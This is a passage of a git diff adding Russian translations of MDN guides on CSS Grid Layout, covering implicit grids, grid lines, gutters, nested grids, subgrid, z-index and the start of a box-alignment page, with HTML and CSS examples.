+</pre>
+
+<h3 id="Явный_и_неявный_грид">Явный и неявный грид</h3>
+
+<p>Во всех примерах выше мы создавали наши колоночные (столбцовые) треки с помощью свойства {{cssxref("grid-template-columns")}}, в то время как грид самостоятельно создавал строки (ряды, полосы) для любого контента там, где это требовалось. Эти строки создавались в неявном гриде. Явный грид состоит из строк и колонок, которые мы определяем с помощью {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Если Вы размещаете что-нибудь вне рамок определенного данными свойствами грида или в зависимости от контента требуется большее количество грид-треков, грид создает строки и колонки в виде неявного грида. Размер подобных треков по умолчанию задается автоматически в зависимости от находящегося в них контента.</p>
+
+<p>Вы также можете задать размер треков, создаваемых в виде неявного грида с помощью свойств {{cssxref("grid-auto-rows")}} и {{cssxref("grid-auto-columns")}}.</p>
+
+<p>В примере ниже мы задаем <code>grid-auto-rows</code> , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.</p>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Явный_и_неявный_грид', '230', '420') }}</p>
+
+<h3 id="Масштабирование_треков_и_minmax">Масштабирование треков и <code>minmax()</code></h3>
+
+<p>При задании размеров явного грида или при определении размеров автоматически создаваемых колонок или строк может возникнуть следующая ситуация: мы хотим определить для треков минимальный размер, но при этом быть уверенными, что при необходимости треки растянутся, чтобы вместить весь добавленный в них контент. Например, нам нужно, чтобы строки никогда не становились меньше 100 пикселей, но если контент занимает, скажем, 300 пикселей в высоту, мы хотим, чтобы  строка тоже стала 300 пикселей.</p>
+
+<p>Для подобных ситуаций в Grid  предусмотрено решение с помощью функции {{cssxref("minmax", "minmax()")}}. В следующем примере  <code>minmax()</code> используется, как значение свойства {{cssxref("grid-auto-rows")}}. Автоматически создаваемые строки будут как минимум 100 пикселей в высоту, а как максимум примут значение <code>auto</code>. Использование <code>auto</code> означает, что размер строки посмотрит на размер контента и растянется таким образом, чтобы вместить самый высокий элемент ячейки в этой строке. </p>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two
+   &lt;p&gt;I have some more content in.&lt;/p&gt;
+   &lt;p&gt;This makes me taller than 100 pixels.&lt;/p&gt;
+&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Масштабирование_треков_и_minmax', '240', '470') }}</p>
+
+<h2 id="Grid-линии">Grid-линии</h2>
+
+<p>Нужно заметить, что когда мы определяем грид, мы определяем грид-треки, а не грид-линии. После этого грид обеспечивает нас пронумерованными линиями, номера которых можно использовать для размещения элементов. Например, в гриде с тремя колонками и двумя рядами у нас - четыре колоночные линии.</p>
+
+<p><img alt="Diagram showing numbered grid lines." src="https://mdn.mozillademos.org/files/14761/1_diagram_numbered_grid_lines.png" style="height: 456px; width: 764px;"></p>
+
+<p>Линии нумеруются в соответствии с режимом написания (writing mode) документа. В языках с написанием слева-направо, линия 1 - самая левая линия в гриде. В языках с написанием справа-налево, линия 1 - самая правая линия в гриде. Линиям также можно давать имена, и - не переключайтесь, дальше мы узнаем, как это делать. </p>
+
+<h3 id="Размещение_элементов_по_линиям">Размещение элементов по линиям</h3>
+
+<p>В дальнейшем мы детально рассмотрим размещение элементов с помощью линий, а пока остановимся на простом способе. При размещении элемента мы ссылаемся именно на линию, а не на трек. </p>
+
+<p>В следующем примере мы размещаем первые два элемента в нашем гриде из трех колоночных треков с помощью свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}}. Поскольку режим написания слева направо, первый элемент размещается, начиная с колоночной линии 1, и занимает пространство до колоночной линии 4, которая в нашем случае - самая правая линия грида. Наш элемент начинается со строчной линии 1 и заканчивается на строчной линии 3, таким образом занимая два строчных трека.</p>
+
+<p>Второй элемент начинается с колоночной линии 1 и занимает один трек. Это поведение по умолчанию, поэтому не нужно задавать конечную линию. Элемент также занимает два строчных трека - со строчной линии 3 до строчной линии 5. Остальные элементы самостоятельно размещаются в пустых пространствах грида. </p>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+   &lt;div class="box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-auto-rows: 100px;
+}
+.box1 {
+    grid-column-start: 1;
+    grid-column-end: 4;
+    grid-row-start: 1;
+    grid-row-end: 3;
+}
+.box2 {
+    grid-column-start: 1;
+    grid-row-start: 3;
+    grid-row-end: 5;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Размещение_элементов_по_линиям', '230', '420') }}</p>
+
+<p>Не забывайте, что Вы можете использовать <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a> в Firefox Developer Tools, чтобы посмотреть, как элементы размещаются по линиям грида.</p>
+
+<h2 id="Grid-ячейки">Grid-ячейки</h2>
+
+<p>Грид-ячейка (<em>grid cell)</em> - наименьшая единица измерения грида, концептуально похожая на ячейку таблицы. Как мы видели в предыдущих примерах, едва грид определен для родительского элемента, дочерние элементы автоматически размещаются в каждой ячейке нашего заданного грида. На рисунке ниже первая ячейка грида выделена цветом.</p>
+
+<p><img alt="The first cell of the grid highlighted" src="https://mdn.mozillademos.org/files/14643/1_Grid_Cell.png" style="height: 233px; width: 350px;"></p>
+
+<h2 id="Grid-области">Grid-области</h2>
+
+<p>Элементы могут занимать одну или несколько ячеек внутри строки или колонки, и подобное поведение создает грид-область (<em>grid area)</em>. Грид-области должны быть перпендикулярными, - невозможно создать область, например, в форме буквы L. Выделенная цветом грид-область на рисунке ниже занимает два строчных трека и два колоночных. </p>
+
+<p><img alt="A grid area" src="https://mdn.mozillademos.org/files/14645/1_Grid_Area.png" style="height: 238px; width: 357px;"></p>
+
+<h2 id="Зазоры_Gutters">Зазоры (Gutters)</h2>
+
+<p><em>Зазоры (Gutters)</em> или аллеи (<em>alleys)</em> между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращенного свойства {{cssxref("grid-gap")}}. В примере ниже мы создаем зазор в 10 пикселей между колонками и в <code>1em</code> между строками.</p>
+
+<pre class="brush: css notranslate">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-column-gap: 10px;
+   grid-row-gap: 1em;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Зазоры_Gutters') }}</p>
+
+<p>Любое пространство, которое занимают зазоры, добавляется в начало эластичных треков, задаваемых с помощью <code>fr</code>, поэтому зазоры используются для регулирования размеров и действуют как регулярные грид-треки, хотя что-то разместить в них нельзя. В терминах расположения элементов по грид-линиям (line-based positioning) зазоры ведут себя так, как если бы самой грид-линии была добавлена толщина.</p>
+
+<h2 id="Вложенные_гриды">Вложенные гриды</h2>
+
+<p>Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трехколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.</p>
+
+<div id="nesting">
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box box1"&gt;
+       &lt;div class="nested"&gt;a&lt;/div&gt;
+       &lt;div class="nested"&gt;b&lt;/div&gt;
+       &lt;div class="nested"&gt;c&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div class="box box2"&gt;Two&lt;/div&gt;
+    &lt;div class="box box3"&gt;Three&lt;/div&gt;
+    &lt;div class="box box4"&gt;Four&lt;/div&gt;
+    &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p><img alt="Nested grid in flow" src="https://mdn.mozillademos.org/files/14641/1_Nested_Grids_in_flow.png" style="height: 512px; width: 900px;"></p>
+
+<p>Если мы задаем для <code>box1</code> значение <code>display: grid</code> , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.</p>
+
+<pre class="brush: css notranslate">.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.box {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('nesting', '600', '340') }}</p>
+
+<p>В данном случае вложенный грид не связан с родительским. Как Вы можете видеть, он не наследует значение свойства {{cssxref("grid-gap")}} родительского элемента и линии вложенного грида не выравниваются по линиям родительского грида.</p>
+
+<h3 id="Подгрид_Subgrid">Подгрид (Subgrid)</h3>
+
+<p>В спецификации гридов уровня 2 есть функциональность, называемая подгридом (subgrid) , которая позволит нам создавать вложенные гриды, использующие структуру треков родительского грида.</p>
+
+<div class="note">
+<p>Примечание. Эта функция поставляется в браузере Firefox 71, который в настоящее время является единственным браузером для реализации subgrid.</p>
+</div>
+
+<p>В приведенном выше примере мы можем отредактировать вложенный грид, изменив <code>grid-template-columns: repeat(3, 1fr)</code>, на <code>grid-template-columns: subgrid</code>. Вложенный грид будет использовать родительскую структуру треков, чтобы разместить свои дочерние элементы.</p>
+
+<pre class="brush: css notranslate">.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   display: grid;
+   grid-template-columns: subgrid;
+}
+</pre>
+
+<h2 id="Размещение_элементов_с_помощью_z-index">Размещение элементов с помощью <code>z-index</code></h2>
+
+<p>Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещенными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:</p>
+
+<div id="l_ex">
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box box1"&gt;One&lt;/div&gt;
+   &lt;div class="box box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box box4"&gt;Four&lt;/div&gt;
+   &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-auto-rows: 100px;
+}
+.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box2 {
+   grid-column-start: 1;
+   grid-row-start: 2;
+   grid-row-end: 4;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.box {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('l_ex', '230', '420') }}</p>
+
+<p>Элемент <code>box2</code> теперь перекрывает <code>box1</code>, и отображается сверху, поскольку в исходном коде находится ниже.</p>
+
+<h3 id="Управление_порядком_отображения">Управление порядком отображения</h3>
+
+<p>Порядком, в котором элементы накладываются друг на друга, можно управлять с помощью свойства <code>z-index</code> - точно так же, как в случае с позиционированными элементами. Если задать <code>box2</code> значение <code>z-index</code> , меньшее, чем у <code>box1</code> , в стеке он отобразится под элементом <code>box1</code>.</p>
+
+<pre class="brush: css notranslate">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-auto-rows: 100px;
+}
+.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   z-index: 2;
+}
+.box2 {
+   grid-column-start: 1;
+   grid-row-start: 2;
+   grid-row-end: 4;
+   z-index: 1;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+    &lt;div class="box box1"&gt;One&lt;/div&gt;
+    &lt;div class="box box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box box4"&gt;Four&lt;/div&gt;
+   &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+.box {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+.nested {
+    border: 2px solid #ffec99;
+    border-radius: 5px;
+    background-color: #fff9db;
+    padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Управление_порядком_отображения', '230', '420') }}</p>
+
+<h2 id="Что_дальше">Что дальше?</h2>
+
+<p>В данной статье мы очень кратко рассмотрели спецификацию Grid Layout. Поиграйте с примерами кода и переходите  <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">к следующей части нашего гида, где мы детально покопаемся в недрах CSS Grid Layout</a>.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Основные понятия grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
new file mode 100644
index 0000000000..cc8f7b4f75
--- /dev/null
+++ b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
@@ -0,0 +1,703 @@
+---
+title: Выравнивание блоков в CSS разметке Grid
+slug: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
+translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
+---
+<p>Если вы знакомы с <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">flexbox</a>, вы уже столкнулись с тем, как гибкие элементы могут быть правильно выровнены внутри контейнера flex. Эти свойства выравнивания, которые мы впервые встретили в спецификации flexbox, были перенесены в новую спецификацию под названием <a href="https://drafts.csswg.org/css-align/">Box Alignment Level 3</a>. Эта спецификация содержит подробную информацию о том, как выравнивание должно работать во всех различных методах компоновки.</p>
+
+<p>Каждый метод макета, который реализует выравнивание ящиков, будет иметь некоторые отличия из-за того, что каждый метод имеет разные функции и ограничения (и унаследованное поведение), что делает невозможным выравнивание точно таким же образом по всем направлениям. Спецификация Box Alignment содержит подробную информацию для каждого метода, однако вы были бы разочарованы, если бы попытались выполнить выравнивание по многим методам прямо сейчас, поскольку поддержка браузера еще не существует. Там, где у нас есть поддержка браузера для свойств выравнивания и распределения пространства из спецификации Box Alignment, в grid макета.</p>
+
+<p>В этом руководстве представлены демонстрации того, как работает выравнивание ячеек в макете. Вы увидите много общего в том, как эти свойства и ценности работают в flexbox. Из-за того, что сетка двумерна и однобочечна, существует несколько небольших различий, за которыми вы должны следить. Поэтому мы начнем с рассмотрения двух осей, с которыми мы сталкиваемся при выравнивании объектов в сетке.</p>
+
+<h2 id="Две_оси_grid_layout">Две оси grid layout</h2>
+
+<p>При работе с раскладкой сетки у вас есть две оси для выравнивания объектов - <em>оси</em> <em>блока или столбца</em>, <em>оси inline или строки</em>. Ось блока - это ось, на которой блоки выложены в макете блока. Если у вас есть два абзаца на вашей странице, они отображаются один под другим, поэтому в этом направлении мы описываем ось блока. В спецификации CSS Grid Layout она называется осью столбца, так как это ось, по которой выполняются наши дорожки столбцов.</p>
+
+<p><img alt="Image showing the location of the Block or Column axis." src="https://mdn.mozillademos.org/files/14725/7_Block_Axis.png" style="height: 306px; width: 940px;"></p>
+
+<p><em>Внутренняя ось (inline axis)</em> проходит по оси блока, это направление, в котором выполняется регулярный поток строк. В спецификации CSS Grid Layout его иногда называют осью строки, являющейся осью, по которой идут наши дорожки.</p>
+
+<p><img alt="Image demonstrating the Inline or Row axis location." src="https://mdn.mozillademos.org/files/14727/7_Inline_Axis.png" style="height: 306px; width: 940px;"></p>
+
+<p>Мы можем выровнять содержимое внутри областей сетки и сетка отслеживает себя на этих двух осях.</p>
+
+<h2 id="Выравнивание_элементов_на_блоке_или_столбце_по_оси">Выравнивание элементов на блоке или столбце по оси</h2>
+
+<p>Элементы управления {{cssxref ("align-self")}} и {{cssxref ("align-items")}} на оси блока. Когда мы используем эти свойства, мы меняем выравнивание элемента в области сетки, которую вы поместили.</p>
+
+<p>В следующем примере у меня есть четыре области сетки внутри моей сетки. Я могу использовать свойство {{cssxref ("align-items")}} в контейнере сетки, чтобы выровнять элементы, используя одно из следующих значений:</p>
+
+<ul>
+ <li><code>auto</code></li>
+ <li><code>normal</code></li>
+ <li><code>start</code></li>
+ <li><code>end</code></li>
+ <li><code>center</code></li>
+ <li><code>stretch</code></li>
+ <li><code>baseline</code></li>
+ <li><code>first baseline</code></li>
+ <li><code>last baseline</code></li>
+</ul>
+
+<div id="alignment_1">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+  align-items: start;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_1', '500', '450') }}</p>
+</div>
+
+<p>Имейте в виду, что после установки <code>align-self: start</code> высота каждого дочернего <code>&lt;div&gt;</code> будет определяться содержимым <code>&lt;div&gt;</code>. Это противоречит полностью отсутствию выравнивания и в этом случае высота каждого <code>&lt;div&gt; </code>растягивается, чтобы заполнить его область сетки.</p>
+
+<p>Свойство {{cssxref ("align-items")}} устанавливает свойство {{cssxref ("align-self")}} для всех дочерних элементов сетки. Это означает, что вы можете установить свойство индивидуально, используя <code>align-self</code> по элементу сетки.</p>
+
+<p>В следующем примере я использую свойство <code>align-self</code>, чтобы продемонстрировать различные значения выравнивания. В первой области отображается поведение по умолчанию для выравнивания, которое должно растягиваться. Второй элемент имеет значение самоограничения <code>start</code>, третий <code>end</code> и четвертый <code>center</code>.</p>
+
+<div id="alignment_2">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+  align-self: start;
+}
+.item3 {
+  grid-area: c;
+  align-self: end;
+}
+.item4 {
+  grid-area: d;
+  align-self: center;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Item 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Item 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Item 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Item 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('alignment_2', '500', '450') }}</p>
+</div>
+
+<h3 id="Элементы_с_внутренним_соотношением_сторон">Элементы с внутренним соотношением сторон</h3>
+
+<p>Спецификация указывает, что поведение по умолчанию в {{cssxref ("align-self")}} должно растягиваться, за исключением элементов, которые имеют внутреннее соотношение сторон, в этом случае они ведут себя как <code>start</code>. Причиной этого является то, что если элементы с соотношением сторон настроены на растяжение, это значение по умолчанию будет искажать их.</p>
+
+<p>Это поведение было уточнено в спецификации, при этом браузеры еще не реализовали правильное поведение. Пока это не произойдет, вы можете убедиться, что элементы не растягиваются, например изображения, которые являются прямыми дочерними элементами сетки, путем установки {{cssxref ("align-self")}} и {{cssxref ("justify-self") }} <code>start</code>. Это будет имитировать правильное поведение после его реализации.</p>
+
+<h2 id="Justifying_Items_on_the_Inline_or_Row_Axis">Justifying Items on the Inline or Row Axis</h2>
+
+<p>Поскольку {{cssxref ("align-items")}} и {{cssxref ("align-self")}} обрабатывают выравнивание элементов на оси блока, {{cssxref ("justify-items")}} и {{cssxref ("justify-self")}} выполнить ту же работу на оси inline или row. Значения, которые вы можете выбрать, такие же, как для <code>align-self</code>.</p>
+
+<ul>
+ <li><code>auto</code></li>
+ <li><code>normal</code></li>
